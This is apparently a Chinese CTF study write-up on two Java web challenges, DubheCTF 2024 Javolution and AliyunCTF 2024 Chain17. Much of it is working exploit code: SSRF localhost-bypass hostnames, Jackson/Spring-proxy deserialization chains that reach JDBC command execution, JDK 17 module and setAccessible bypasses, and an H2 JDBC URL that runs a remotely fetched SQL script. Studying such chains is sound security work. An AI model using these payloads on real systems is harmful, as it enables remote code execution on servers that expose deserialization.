还有一个知识点就是整型溢出,分配一个过大的整型的值21474836478 = MAX_VALUE + 1并不会报错而变量值会是-2147483648(最小值)

baeldung.xiaocaicai.com/java-overflow-underflow/

本题在

1
http://localhost:8888/pal/cheat?defense=-21474836478

设置为比最小值还小,这样会判断为最大值,就可以打败jetragon了

image-20240516200554717

这个路由中写了具体的逻辑

image-20240516202640201

如果大于等于0就胜利,我们的攻击力无法击穿,直接把防御力拉满就能返回0了。

image-20240516202404782

可以看到我们成功设置了防御值并且打败了jetragon

image-20240516200635109

下一层就是SSRF了,判断了是不是local

image-20240516203509998

有以下几种绕过方式:

1
2
3
4
5
dubhe.sudo.cc //sudo.cc本身就是localhost
dubhe.localhost
localhost%00dubhe
::FFFF:127.0.0.1%dubhe
自己的子域名设置为dubhe,A记录设置为127.0.0.1

题解

如何稳定触发jacson的getter方法

为何不能稳定触发getter方法呢?因为触发是随机的,如果报错后面的就无法继续执行。那为何是随机的呢?

主要出在虚拟机的逻辑里面JVM源码分析之不保证顺序的Class.getMethods (qq.com)

一个类里的方法经过排序之后,顺序可能会不一样,取决于方法名对应的Symbol对象的地址的先后顺序

那该如何才能稳定触发呢?

从JSON1链中学习处理JACKSON链的不稳定性 - 先知社区 (aliyun.com)

Spring中通过动态代理实现的AOP生成代理类的对象,再包裹这个对象来实现稳定调用。

1
2
3
4
5
6
7
8
9
10
public static Object getProxy(Object obj,Class<?> clazz) throws Exception
{
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(obj);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{clazz}, handler);
return proxy;
}

这里我们注意到一个类就是org.springframework.aop.framework.JdkDynamicAopProxy基于JDK的AopProxy实现,用于Spring AOP框架,基于JDK动态代理。

创建一个动态代理,实现AopProxy公开的接口。动态代理不能用于代理类(而不是接口)中定义的方法。

这种类型的对象应该通过代理工厂获得,由AdvisedSupport类配置。该类位于Spring的AOP框架内部,不需要由客户端代码直接使用。所以通过反射来获取。

这个类中的有invoke方法,可以来执行方法。image-20240522162452979

使用反射获取一个代理类上的所有方法时,只能获取到其代理的接口方法。所以我们需要让代理类只有我们需要的getter方法即可。

本题我们需要调用题目中所给的org.dubhe.javolution.pool.PalDataSource#getConnection才可以

思路如下

  1. 构造一个 JdkDynamicAopProxy 类型的对象,将 PalDataSource 类型的对象设置为 targetSource
  2. 使用这个 JdkDynamicAopProxy 类型的对象构造一个代理类,代理 com.teradata.jdbc.TeraDataSource 接口
  3. JSON 序列化库只能从这个 JdkDynamicAopProxy 类型的对象上找到 getconnect 方法
  4. 通过代理类的 invoke 机制,触发 org.dubhe.javolution.pool.PalDataSource#getConnection 方法,实现攻击JDBC

突破模块化访问机制

这里又遇到一个新问题就是,由于Java 9引入的模块系统,这个系统限制了对内部API和包的访问,在Java17中强制开启,反射调用com.sun.org.apache.xpath.internal.objects.XString来触发toString方法就会出错,所以exp中要添加代码来绕过模块化的限制,并且在运行时添加虚拟机选项

1
--add-opens java.xml/com.sun.org.apache.xpath.internal.objects=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED

exp(from S1uM4i)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
import com.fasterxml.jackson.databind.node.POJONode;
import com.teradata.jdbc.TeraDataSource;
/*import org.assertj.core.util.xml.XmlStringPrettyFormatter;*/
import org.dubhe.javolution.pool.PalDataSource;
/*import org.mockito.internal.matchers.Equals;*/
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;
import sun.misc.Unsafe;

import javax.sql.DataSource;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*;

public class exp {
public static void main(String[] args) throws Exception {
// com.sun.org.apache.xpath.internal.objects.XString
// --add-opens java.xml/com.sun.org.apache.xpath.internal=ALL-UNNAMED
final ArrayList<Class> classes = new ArrayList<>();
classes.add(Class.forName("java.lang.reflect.Field"));
classes.add(Class.forName("java.lang.reflect.Method"));
classes.add(Class.forName("java.util.HashMap"));
classes.add(Class.forName("java.util.Properties"));
classes.add(Class.forName("java.util.PriorityQueue"));
classes.add(Class.forName("com.teradata.jdbc.TeraDataSource"));
classes.add(Class.forName("javax.management.BadAttributeValueExpException"));
classes.add(Class.forName("com.sun.org.apache.xpath.internal.objects.XString"));
classes.add(Class.forName("java.util.HashMap$Node"));
classes.add(Class.forName("com.fasterxml.jackson.databind.node.POJONode"));
// classes.add(Class.forName("java.xml.*"));

new exp().bypassModule(classes);

TeraDataSource dataSource = new PalDataSource();
dataSource.setBROWSER("calc");
dataSource.setLOGMECH("BROWSER");
dataSource.setDSName("127.0.0.1");
dataSource.setDbsPort("10250");

Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Module baseModule = dataSource.getClass().getModule();
Class currentClass = PriorityQueue.class;
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.putObject(currentClass, offset, baseModule);

Class<?> clazz =
Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(dataSource);
InvocationHandler handler = (InvocationHandler)
cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]
{DataSource.class}, handler);
POJONode pojoNode = new POJONode(proxyObj);

// POJONode pojoNode = new POJONode(dataSource);
// pojoNode.toString();

// com.sun.org.apache.xpath.internal.objects
Class cls = Class.forName("com.sun.org.apache.xpath.internal.objects.XString");
Constructor constructor = cls.getDeclaredConstructor(String.class);
constructor.setAccessible(true);
Object xString = constructor.newInstance("1");

HashMap hashMap = makeMap(xString,pojoNode);

serialize(hashMap);
// unserialize("ser.bin");

}
public static HashMap<Object, Object> makeMap (Object obj1, Object obj2) throws Exception {
HotSwappableTargetSource v1 = new HotSwappableTargetSource(obj2);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(obj1);

HashMap<Object, Object> s = new HashMap<>();
setFiledValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFiledValue(s, "table", tbl);

return s;
}
public static void setFiledValue(Object obj, String key, Object val) throws Exception {
Field field ;
try{
field = obj.getClass().getDeclaredField(key);
}catch(Exception e){
if (obj.getClass().getSuperclass() != null)
field = obj.getClass().getSuperclass().getDeclaredField(key);
else {
return;
}
}
field.setAccessible(true);
field.set(obj,val);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
oos.writeObject(obj);
}
public static void unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));
Object obj = ois.readObject();
}

public void bypassModule(ArrayList<Class> classes){
try {
Unsafe unsafe = getUnsafe();
Class currentClass = this.getClass();
try {
Method getModuleMethod = getMethod(Class.class, "getModule", new Class[0]);
if (getModuleMethod != null) {
for (Class aClass : classes) {
Object targetModule = getModuleMethod.invoke(aClass, new Object[]{});
unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
}
}
}catch (Exception e) {
}
}catch (Exception e){
e.printStackTrace();
}
}

private static Method getMethod(Class clazz, String methodName, Class[] params) {
Method method = null;
while (clazz!=null){
try {
method = clazz.getDeclaredMethod(methodName,params);
break;
}catch (NoSuchMethodException e){
clazz = clazz.getSuperclass();
}
}
return method;
}
private static Unsafe getUnsafe() {
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}
}

总结

这就是被现代Java的题目支配吗?好难啊,自己复现学习到了很多东西。这题同时涉及到了众多知识点,打JDBC和绕JDK高版本,以后多多注意JDBC,感觉遇到的挺多的。

还有一种触发toString的方法

EventListenerList触发toString

1
2
3
4
5
6
7
8
public static Object makeReadObjectToStringTrigger(Object obj) throws Exception {
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) ReflectionHelper.getFieldValue(manager, "edits");
vector.add(obj);
ReflectionHelper.setFieldValue(list, "listenerList", new Object[]{InternalError.class, manager});
return list;
}

那么现在有三种readObject可以触发toString的链子

  • BadAttributeValueExpException(JDK<17)
  • com.sun.org.apache.xpath.internal.objects.XString来hash碰撞调用equals方法
  • EventListenerList

使用unsafe类来实现修改私有属性

1
2
3
4
5
6
7
8
9
10
11
12
13
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Module baseModule = Object.class.getModule();
Class currentClass = Main.class;

long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass, addr, baseModule);
/*
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.putObject(currentClass, offset, baseModule);
*/

另一种绕过JDK17无法反射修改私有属性

通过java agent hook掉判断是否可以访问属性的方法

MyAgent

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class MyAgent {

public static void premain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {

inst.addTransformer(new MyClassFileTransformer(),true);
Class[] allLoadedClasses = inst.getAllLoadedClasses();

for (Class loadedClass : allLoadedClasses) {
if("com.fasterxml.jackson.databind.node.BaseJsonNode".equals(loadedClass.getName()) || "java.lang.reflect.Field".equals(loadedClass.getName())){
//重新transform
inst.retransformClasses(loadedClass);
}
}
}
}

MyClassFileTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public class MyClassFileTransformer implements ClassFileTransformer {

@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer){

String target1 = "com.fasterxml.jackson.databind.node.BaseJsonNode";
String target4 = "java.lang.reflect.Field";

String className2 = className.replace("/", ".");
if (className2.equals(target1)) {
System.out.println("Find the Inject Class: "+target1);
ClassPool pool = ClassPool.getDefault();
try {

CtClass c = pool.getCtClass(className2);
System.out.println("hhhh");
CtMethod ctMethod = c.getDeclaredMethod("writeReplace");

c.removeMethod(ctMethod);
byte[] bytes = c.toBytecode();
c.detach();
return bytes;
} catch (Exception e) {
e.printStackTrace();
}
}

if (className2.equals(target4)) {
System.out.println("Find the Inject Class: "+target4);
ClassPool pool = ClassPool.getDefault();
try {

CtClass c = pool.getCtClass(className2);
System.out.println("hhhh");
CtMethod ctMethod = c.getDeclaredMethod("setAccessible");

ctMethod.setBody("{ java.lang.reflect.AccessibleObject.checkPermission();\n" +
" if (false) checkCanSetAccessible(Reflection.getCallerClass());\n" +
" setAccessible0($1);}");
byte[] bytes = c.toBytecode();
c.detach();
return bytes;
} catch (Exception e) {
e.printStackTrace();
}
}
return new byte[0];
}

}

参考

Javolution出题小记 | H4cking to the Gate . (h4cking2thegate.github.io)

[DubheCTF 2024 Web Writeup - Boogiepop Doesn’t Laugh (boogipop.com)](https://boogipop.com/2024/03/19/DubheCTF 2024 Web Writeup/#Javolution)

DubheCTF坐牢记录 (pankas.top)

2024 XCTF 联赛 DubheCTF 部分题解 - S1uM4i

unknown’s Blog

AliyunCTF2024Chain17简析

先来审一下题目吧

image-20240523163625840

两个服务,暴露了一个agent服务的端口。agent添加了命令允许访问模块内部的包(将java.base模块中的java.util.concurrent.atomic包开放给所有未命名的模块)。

这个agent也是直接给出了Hessian反序列化的路由

image-20240523164704880

server也是有read路由但是是JDK反序列化。思路也比较清晰,就找链子打agent再打server。

题解

对依赖包触发方法积累不是特别多,这题就知道jackson触发getter方法。JDK17。这里就看了看别人的wp来简单分析一下流程吧。

ttonys/CodeQLAnalyseJar: CodeQL分析闭源Jar包脚本,基于Apache Ant构建CodeQL数据库 (github.com)

打agent是

h2执行sql命令来RCE

JDBC-Attack 攻击利用汇总 - 先知社区 (aliyun.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import cn.hutool.core.map.SafeConcurrentHashMap;
import cn.hutool.db.ds.pooled.PooledDSFactory;
import cn.hutool.json.JSONObject;
import cn.hutool.setting.Setting;
import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.aliyunctf.agent.other.Bean;
import com.fasterxml.jackson.databind.node.POJONode;
import sun.misc.Unsafe;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.LinkedHashMap;
import java.util.concurrent.atomic.AtomicReference;

public class Test {
public static void main(String[] args) throws Exception {

Bean bean = new Bean();
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
PooledDSFactory pooledDSFactory = (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class);
Setting setting = new Setting();
setting.setCharset(null);
setting.set("initialSize", "1");
setting.set("url", "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'");
setFieldValue(pooledDSFactory, "dsMap", new SafeConcurrentHashMap<>());
setFieldValue(pooledDSFactory, "setting", setting);

bean.setData(getObjectBytes(pooledDSFactory));
POJONode node = new POJONode(bean);
AtomicReference<POJONode> atomicReference = new AtomicReference<>();
atomicReference.set(node);
JSONObject json = new JSONObject();
LinkedHashMap map = new LinkedHashMap();
map.put("1", atomicReference);
setFieldValue(json, "raw", map);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
hessian2Output.writeObject(json);
hessian2Output.flush();
hessian2Output.close();

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
Object object = hessian2Input.readObject();
System.out.println(object);
}

public static byte[] getObjectBytes(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
return byteArrayOutputStream.toByteArray();
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception
{
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
return;
} catch (Exception e) {
clazz = clazz.getSuperclass();
}
}
}
}

打server是一条新的利用链,看有人用CodeQL审出来了。

有两个问题一个是如何引入题目jar包的依赖,还有一个是CodeQL怎么去生成jar包的database。。。期末了,放到暑假解决吧。

总结

之前一直在看漏洞,找了几个题目练习了一下。发现CTF中确实有很多细节值得注意,感觉对于题目的整体把握比较重要,信息收集及时找到思路来寻找漏洞进行攻击,经验比较少,而且这些漏洞利用也比较复杂。要期末了,重点学一下,计算机网络和操作系统吧。CTF还是要机灵一点。

再学一下攻击JDBC,国赛也考到了,最近才注意到的点。